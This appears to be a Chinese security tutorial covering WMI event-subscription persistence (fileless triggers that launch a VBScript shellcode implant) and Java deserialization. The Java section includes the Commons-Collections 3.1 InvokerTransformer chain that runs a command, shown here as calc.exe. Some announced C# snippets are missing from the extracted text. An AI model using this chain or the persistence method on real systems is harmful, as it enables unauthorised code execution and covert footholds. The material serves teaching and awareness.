1.WMI 持久化技术简介
WMI(WindowsManagement Instrumentation)事件订阅(Event Subscription)是一种常见的持久化技术,该技术需要管理员权限,但具有无文件的好处,这意味着无需接触磁盘。简而言之,WMI 事件订阅技术允许将特定操作(获取 shell)绑定到 Windows 事件。为了实现这一目标,需要做两件事。__EventFilter 查询,该查询创建一个过滤器,该过滤器为特定事件选择触发器,而 Event Consumer 类则设置触发事件时要执行的操作。事件过滤器确定执行触发器的条件,这可以使用 SQL 之类的名为 WQL 的查询语言来完成。
一个非常简单的 WQL 事件查询可能如下所示:
Select * From __InstanceCreationEvent Within 5 Where TargetInstance Isa “Win32_Process”
每次创建 win32 进程时都会触发此事件。出于测试目的,可以使用 Register-WMIEvent
cmdlet 安装触发器,启动新进程将导致 PowerShell 块执行。
更有用的使用,可以创建一个事件,该事件在创建特定进程时触发,例如 outlook.exe。
可以使用类似于以下内容的 C#安装此触发器:
作为恶意事件的一部分,我们需要的第二件事是Event Consumer类,有两个有用的类:
ActiveScriptEventConsumer 允许执行任意脚本(支持 JScript 或 VBScript 引擎)。
CommandLineEventConsumer,允许执行任意命令。
ActiveScriptEventConsumer 类可用于运行任意 VBScript。因此可以创建一个执行 shellcode 的 VBS 脚本,接下来,对该脚本进行 base64 编码,以便将其轻松嵌入到 WMI 代码中:base64 -i 输出/implantvbs.vbs。
现在可以使用以下 C#部署 ActiveScriptEventConsumer:
CommandLineEventConsumer 类支持在事件发生时执行任意命令,可以通过多种方式
来安装后面(PowerShell,wmic,mshta,rundll32 等)
综上所述,创建永久性 WMI 事件,该事件可以允许加载植入程序的 VBScript 脚本,进一步达到可持续存在性。
参考链接
. 2. JAVA 反序列化漏洞初探
JAVA 反序列化漏洞是最近比较重点关注的漏洞,为了了解 JAVA 反序列化漏洞的成因和原理,本文讲通过对原理的剖析,来提出一些防御的观点。
JAVA 序列化
名词解释:
把对象转换为字节序列的过程称为对象的序列化。
用途:
1.把对象的字节序列永久地保存在硬盘上,通常存放在一个文件中。
2.在网络上传送对象的字节序列。
序列化的必要性:
当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把这个 Java 对象转换为字节序列,才能在网络上传送;接收方则需要把字节序列再恢复为 Java 对象。
反序列化和 ObjeInputStream
在 JAVA 中,ObjeInputStream 有 readObject 方法可用于读取对象,且此方法可被重写,
当重写的 readObject 中出现了一些复杂的操作,就又可以被恶意代码利用。
举一个重写 readObject 的例子:
public class ReadObject implements Serializable {
//通过重写 readObject 方法构建 Serializable 接口
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException{
System.out.println("read object in ReadObject");
}
//构造 readObject 输出字符串
public static void main(String[] args) throws IOException, ClassNotFoundException
{
byte[] serializeData=serialize(new ReadObject());
deserialize(serializeData);
}
//main 主函数调用重写的 ReadObject 讲其输出的字符串输入 serialize 方法
//并反序列化
public static byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
//seriallize 方法:将对象序列化到一个 Byte 数组
public static Object deserialize(final byte[] serialized) throws IOException, ClassNo
tFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
//deserialize 方法:将输入的数组中的对象还原出来
}
此段代码的输出:
read object in ReadObject
JAVA 反射机制
名词解释:
反射机制是 JAVA 的特征之一,是一种间接操作目标对象的机制,核心是 JVM 在运行的时候才动态加载类,并且对于任意一个类,都能够知道这个类的所有属性和方法,调用方法/访问属性,不需要提前在编译期知道运行的对象是谁,他允许运行中的 Java 程序获取类的信息,并且可以操作类或对象内部属性。程序中对象的类型一般都是在编译期就确定下来的,而当我们的程序在运行时,可能需要动态的加载一些类,这些类因为之前用不到,所以没有加载到 jvm,这时,使用 Java 反射机制可以在运行期动态的创建对象并调用其属性,它是在
运行时根据需要才加载。
优点:使用反射,可以在运行时再获取类的各种资源,进行反编译。JAVA 是先编译再运行预研,使用反射机制,这些代码可以再运行时再装配,不需要在组建之间进行源代码的链接,简化操作,更容易实现面向对象。
缺点:反射会消耗一定的系统资源。反射调用方法时可以忽略检查权限,因此可能会破坏封装性而导致安全问题。
反射机制常用类
Java.lang.Class;
Java.lang.reflect.Constructor;
Java.lang.reflect.Field;
Java.lang.reflect.Method;
Java.lang.reflect.Modifier;
通过反射获取构造方法举例
package fanshe;
public class Fanshe {
public static void main(String[] args) {
//第一种方式获取 Class 对象
Student stu1 = new Student();//这一 new 产生一个 Student 对象,一个 Class
对象。
Class stuClass = stu1.getClass();//获取 Class 对象
System.out.println(stuClass.getName());
//第二种方式获取 Class 对象
Class stuClass2 = Student.class;
System.out.println(stuClass == stuClass2);//判断第一种方式获取的 Class 对象和
第二种方式获取的是否是同一个
//第三种方式获取 Class 对象
try {
Class stuClass3 = Class.forName("fanshe.Student");//注意此字符串必须是真
实路径,就是带包名的类路径,包名.类名
System.out.println(stuClass3 == stuClass2);//判断三种方式是否获取的是同一
个 Class 对象
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
利用 java 的反射来执行代码
因为 readObject 只能传递类的状态,所以需要用到反射来将字节串嵌入到代码的执行
流程中,以达到代码执行。举例如下:
public static void main(String[] args) throws Exception {
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new
Class[]{}).invoke(null);
//Class.forName()要求 JVM 查找 java.lang.Runtime 类并加载
//.getMethod()获得该类的公开方法 getRuntime,形参为一个 Class
//.invoke(class,method)把方法参数化
Class.forName("java.lang.Runtime") .getMethod("exec", String.class) .invoke(runtim
e,"calc.exe");
}
//Class.forName()要求 JVM 查找 java.lang.Runtime 类并加载
//.getMethod()获得该类的公开方法 exec,形参为一个 String.Class
//.invoke(class,method)把方法参数化,给 runtime 传参 calc.exe
以上代码中,我们利用了 Java 的反射机制把我们的代码意图都利用字符串 String.Class的形式进行体现。使用反射机制,使得原本应该是字符串的属性,变成了代码执行的逻辑,而这个机制也为我们后续的漏洞使用的前提。
包装一个恶意代码
使用 Commons-collections 3.1 的反序列化漏洞中几个类就可以利用来包装我们的恶意代码:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new O
bject[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Obje
ct[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers); //测试
我们的恶意对象是否可以被序列化
ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStr
eam objOut = new ObjectOutputStream(out); objOut.writeObject(transformerChain); //
执行以下语句就可以调用起计算器
transformerChain.transform(null);
使用 ConstantTransformer 调用出 runtime,反射出执行命令的 exec,将字符串 calc.exe写入到代码执行流程。
如果能找到一个可控的点,并且这个点再执行流程中会被反序列化成一个 JAVA 对象,那么将此段代码插入其中,就可以达到任意代码执行的问题。
Java 的反序列化漏洞影响深远,范围广泛,本文仅仅列出其中的部分漏洞方式,主要的目的
是详细阐述该漏洞产生的原因和利用方式,主要的目的是给广大的 Java 程序员予以启示,使得大家在构建一个系统的时候,需要更多地去注意相关的安全问题。